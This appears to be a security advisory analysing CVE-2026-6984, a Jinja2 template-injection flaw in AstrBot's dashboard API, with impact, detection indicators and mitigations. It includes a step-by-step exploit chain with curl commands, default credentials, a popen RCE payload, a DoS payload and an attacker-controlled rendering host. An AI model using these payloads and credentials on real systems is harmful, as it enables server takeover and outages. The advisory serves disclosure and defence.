CVE-2026-6984: 
AstrBot vulnerability analysis and mitigation

CVE-2026-6984 is a Server-Side Template Injection (SSTI) vulnerability in AstrBotDevs AstrBot affecting versions up to and including 4.22.1. The flaw exists in the create_template function within astrbot/dashboard/routes/t2i.py of the Dashboard API component, where user-supplied Jinja2 template content is accepted without validation or sanitization. Discovered on April 3, 2026, and publicly disclosed on April 25, 2026, the vulnerability was reported via GitHub issue #7330 but had not received a vendor response at time of disclosure. It carries a CVSS v3.1 score of 4.7 (Medium) and a CVSS v4.0 score of 5.1 (Medium), though the researcher-assigned CVSS v3.1 score accounting for scope change is 8.5 (High) (Github Advisory, AstrBot Issue).

The root cause is improper neutralization of special elements used in a Jinja2 template engine (CWE-1336, CWE-791). The create_template() function in astrbot/dashboard/routes/t2i.py (lines 92–130) accepts arbitrary HTML/Jinja2 content from authenticated users via POST /api/t2i/templates/create and PUT /api/t2i/templates/<name>, storing it directly to disk via template_manager.py without any content validation. When a T2I rendering operation is triggered, the full unsanitized template string is forwarded as a POST request to a configured Jinja2 rendering endpoint (network_strategy.py, lines 68–120), where it is evaluated by the Jinja2 engine. If the rendering endpoint uses a standard (non-sandboxed) jinja2.Environment, payloads such as {{ lipsum.__globals__["os"].popen("id").read() }} achieve remote code execution; even against the default sandboxed endpoint (t2i.soulter.top), expression evaluation (e.g., {{ 7*7 }}) and denial-of-service payloads are confirmed to execute (AstrBot Issue).

Exploitation can result in remote code execution on the Jinja2 rendering server when the t2i_endpoint is configured to use an unsandboxed renderer, enabling full OS command execution under the service account's privileges. Against the default sandboxed shared endpoint (t2i.soulter.top), attackers can cause denial of service via resource-exhausting payloads (e.g., {{ "A" * 10000000 }}), affecting all AstrBot users sharing that endpoint, and can enumerate Jinja2 globals for information disclosure. Confidentiality, integrity, and availability are all impacted, with the most severe scenario being lateral movement or data exfiltration from the rendering server (AstrBot Issue, Github Advisory).

A public proof-of-concept exploit script (poc_ssti_rce.py) was released alongside the vulnerability disclosure, demonstrating the full SSTI-to-RCE attack chain against AstrBot 4.22.1. Exploitation requires high privileges (authenticated dashboard access), but the PoC uses default credentials (astrbot / 77b90590a8945a7d36c963981a307dc9), significantly lowering the effective barrier. There is no evidence of in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.043% (0.000430), and the vulnerability is not listed in the CISA KEV catalog (Github Advisory, AstrBot Issue).

1. Reconnaissance: Identify internet-facing AstrBot dashboard instances (default port 6185) running version ≤ 4.22.1. Check for default credentials (astrbot / 77b90590a8945a7d36c963981a307dc9).
2. Authentication: Obtain a JWT token by sending a POST request to /api/auth/login with valid (or default) credentials: curl -X POST http://<target>:6185/api/auth/login -H 'Content-Type: application/json' -d '{"username":"astrbot","password":"77b90590a8945a7d36c963981a307dc9"}'
3. Configure malicious rendering endpoint (for RCE): Use the config API to set t2i_endpoint to an attacker-controlled server running an unsandboxed Jinja2 renderer (e.g., http://<attacker-ip>:39876).
4. Create malicious template: POST a Jinja2 SSTI payload to /api/t2i/templates/create: curl -X POST http://<target>:6185/api/t2i/templates/create -H 'Authorization: Bearer <TOKEN>' -H 'Content-Type: application/json' -d '{"name":"ssti_rce_poc","content":"{{ lipsum.__globals__[\"os\"].popen(\"id\").read() }}"}'
5. Activate the template: POST to /api/t2i/templates/set_active with {"name": "ssti_rce_poc"} to make it the active rendering template.
6. Trigger rendering: Initiate a T2I operation (via chat message or API call), causing AstrBot to POST the malicious template to the configured rendering endpoint.
7. Achieve RCE: The attacker-controlled unsandboxed Jinja2 renderer evaluates the payload, executing the OS command and returning output, confirming RCE (e.g., uid=502(xxx) gid=20(staff)) (AstrBot Issue).

• Network: Unexpected outbound POST requests from the AstrBot server to unknown external hosts on non-standard ports (e.g., attacker-controlled Jinja2 renderer); unusual traffic to t2i.soulter.top with oversized or malformed template payloads; POST requests to /api/t2i/templates/create or /api/t2i/templates/set_active from unexpected source IPs.
• Logs: AstrBot access logs showing POST /api/t2i/templates/create with content containing Jinja2 expressions ({{, {%); authentication events using default credentials (astrbot); repeated or timed-out requests to the T2I rendering endpoint.
• File System: Unexpected .html files in data/t2i_templates/ containing Jinja2 expressions such as __globals__, __class__, __mro__, popen, os, or subprocess; presence of /tmp/astrbot_ssti_rce_proof.txt (artifact from the public PoC script).
• Process: Unusual child processes spawned by the AstrBot Python process (e.g., sh, bash, id, cat, curl, wget) if an unsandboxed local renderer is in use (AstrBot Issue).

As of the time of disclosure, no official patch has been released by the AstrBot project, and the GitHub Advisory Database lists no patched version. Recommended mitigations include: (1) restricting network access to the AstrBot Dashboard API to trusted administrators only; (2) changing default credentials immediately; (3) ensuring the t2i_endpoint is configured only to trusted, sandboxed Jinja2 rendering services; (4) monitoring the AstrBot GitHub repository for security updates and applying patches as soon as available. Developers should sanitize template content by stripping Jinja2 expression/statement blocks before storage and enforce SandboxedEnvironment on any rendering server (Github Advisory, AstrBot Issue).

The vulnerability was reported by researcher August829 via GitHub issue #7330 on April 3, 2026, with a detailed technical write-up and a working PoC exploit script. The AstrBot project had not responded to the issue at the time of public disclosure on April 25, 2026. The GitHub Advisory Database classified the severity as Low based on CVSS v4.0 scoring, while the original researcher assessed it as High (CVSS v3.1: 8.5) due to the potential for RCE when the rendering endpoint is unsandboxed. No significant broader media coverage or notable security community commentary beyond the issue report and advisory database entries has been identified (Github Advisory, AstrBot Issue).